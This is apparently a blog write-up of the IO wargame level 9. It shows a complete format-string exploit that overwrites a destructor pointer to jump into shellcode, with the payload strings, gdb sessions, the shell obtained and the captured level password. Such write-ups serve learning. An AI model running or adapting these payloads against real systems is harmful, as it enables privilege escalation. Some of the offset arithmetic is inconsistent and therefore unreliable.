0xbfffffc8:   0x3530312e 0x3834322e     0x36303320      0x31203134
0xbfffffd8:   0x36312e30 0x312e302e     0x32203034      0x00343232

I easily found the 200 byte Nop sled beginning at the memory address of 0xbffffda8 and then followed by my shellcode. I decided I want to attempt to get the program to jump to the memory location of 0xbffffdc8 as it is near the start of my NOP sled, which is good in case I undershoot I could still potentially hit my NOP sled and as well as if I overshoot this location I would still lead in this NOP Sled.

So the next part now that I’ve gotten my shellcode onto the stack and located where about on the stack it is, I need to determine a way to have the binary’s execution flow get to my shellcode, I did this by using the return point of the program. So this meant I want to find the binary’s destructor routine as this is the easiest method, I tried to use objdump to find the ‘DTOR’ location, which is when I learnt of the ‘nm’ command which can can used to “list symbols from object files”.

level9@io:~$ nm /levels/level09 |grep __DTOR_
080494d4 d __DTOR_END__
080494d0 d __DTOR_LIST__

So now I know that the memory address of 0x080494d4 contains where the destructor function pointer begins and ends at 0x080494d7, because of it being 4-bytes long. I now need to write the address of 0xbffffdc8 over the top of the destruction function pointer, as shown below.

0x080494d4: c8
0x080494d5: fd
0x080494d6: ff
0x080494d7: bf

Notice it is reversed to account for little endian. Now I have all the information required I need to start producing the format string which will exploit the vulnerability in this IO level. Using the “%n” format specifier I am able to write bytes to an argument to the stack, and by using the “$” I can specify what the bytes to write are. I came up with the below python string as a PoC format string to test if I was on the right track.

$(python -c'print "\xd4\x94\x04\x08" + "\xd5\x94\x04\x08" + "\xd6\x94\x04\x08" + "\xd7\x94\x04\x08" + "%4$n%5$n%6$n%7$n"')

When it came time to test the PoC format string I opened the binary into gdb and then ran the binary with the string.

level9@io:~$ gdb -q /levels//level09
Reading symbols from /levels/level09...done.
(gdb) r $(python -c'print "\xd4\x94\x04\x08" + "\xd5\x94\x04\x08" + "\xd6\x94\x04\x08" + "\xd7\x94\x04\x08" + "%4$n%5$n%6$n%7$n"')
Starting program: /levels/level09 $(python -c'print "\xd4\x94\x04\x08" + "\xd5\x94\x04\x08" + "\xd6\x94\x04\x08" + "\xd7\x94\x04\x08" + "%4$n%5$n%6$n%7$n"')
 
Program received signal SIGSEGV, Segmentation fault.
0x10101010 in ?? ()

Bingo! The binary crashes because I’ve overwritten the EIP register with 0x10 4 times, which means my PoC format string successfully overwrote the instruction pointer. Though there is a problem my NOP sled doesn’t lie at 0x10101010, it lies at 0xbffffdc8. The “%n” writes the length of the string to the arguement which is written onto the stack. This is where the “%u” format specifier comes into play as I can use this to control the length of each argument that I want to write.

I now need to add the “%u” specifier to my current PoC format string. I know that 0x10 was written to the destructor point memory address with means if I want to write 0xd8 to this start of destructor point I need to minus 0x10 from this location. To make what I mean more clear I’ve done an example.

Example

0xc8-0x10=b8 or 200-16=184

This is means if I want the value “0xc8” which is the start of the memory address of the NOP sled written to the destructor pointer I need to specifier the length to be 184. I now need to work out the byte lengths to write to the remaining addresses. Note you don’t subtract 0x10 from each byte but instead subtract the next byte from the previous bytes but if the next byte is larger then the previous it is subtracted from 256 and then add the next byte to the result.

c8 = 184     (0xd8-0x10)
fd = 309     (256-0xc8+0xfd)
ff = 258     (256-0xfd+0xff)
bf = 64     (0xff-0xbf)

Adding this to my PoC format string I get the below string.

$(python -c'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4$n%.309u%5$n%.258%6u$n%.64u%7$n"')
level9@io:~$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) br main
Breakpoint 1 at 0x80483ad
(gdb) r $(python -c'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4$n%.309u%5$n%.258%6u$n%.64u%7$n"')
Starting program: /levels/level09 $(python -c'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4$n%.309u%5$n%.258%6u$n%.64u%7$n"')

The above PoC format string wasn’t successful, so I began debugging and found that only the first 2 memory address of the destructor pointer where being overwritten by the bytes I wanted.

Breakpoint 1, 0x080483ad in main ()
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x4201fdc8 in ?? ()
(gdb) x/4xw 0x080494d4
0x80494d4 <__DTOR_END__>:       0x4201fdc8      0x00000002      0x00000001      0x00000010

As I was pretty confindent that my PoC format string was correct I began looking around for what possible could be the caused of the problem. Possible list of solutions I attempted were the following:

  • NOP out the first 4 memory addresses and then attempt to overwrite the next 4 memory addresses with the bytes I wanted.
  • Modified my bytes I was overwriting with new bytes.
  • I also tried to find a method to jump directly into my NOP sled.

With none of my previous solutions yielding any success, this is when I decided maybe a different scripting langage such as perl was needed, I transferred my python PoC format string into a perl PoC format string, getting the below PoC format string.

$(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.64u%7\$n"')

When I ran this script I got a SEGSEGV error, the eip register was pointing to the memory location of 0x3ffffdc8. Next I had a look at the destructor point memory address and saw that the last memory address I had attempted to written in, 0x080494d7, contained a 0x3f instead of a 0xbf.

level9@io:~$ gdb -q /levels/level09
Reading symbols from /levels/level09...done.
(gdb) br main
Breakpoint 1 at 0x80483ad
(gdb) r $(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.64u%7\$n"')
Starting program: /levels/level09 $(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.64u%7\$n"')
 
Breakpoint 1, 0x080483ad in main ()
(gdb) c
Continuing.
 
Program received signal SIGSEGV, Segmentation fault.
0x3ffffdc8 in ?? ()
(gdb) x/4xw 0x080494d4
0x80494d4 <__DTOR_END__>:       0x3ffffdc8      0x00000003      0x00000001      0x00000010

Debugging this perl script I found that I was successfully writing the memory address of my NOP sled to the destructor pointer which is then executed by the binary and gives me the shell.

level9@io:~$ /levels/level09 $(perl -e 'print "\xd4\x94\x04\x08\xd5\x94\x04\x08\xd6\x94\x04\x08\xd7\x94\x04\x08%.184u%4\$n%.309u%5\$n%.258u%6\$n%.192u%7\$n"')
sh-4.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1010(level10),1009(level9),1029(nosu)
sh-4.2$ cat /home/level10/.pass
IJ7jNEsSiGyPUA

I/O – Level 10

TBC


© 2021. All rights reserved.

Powered by Hydejack v9.1.6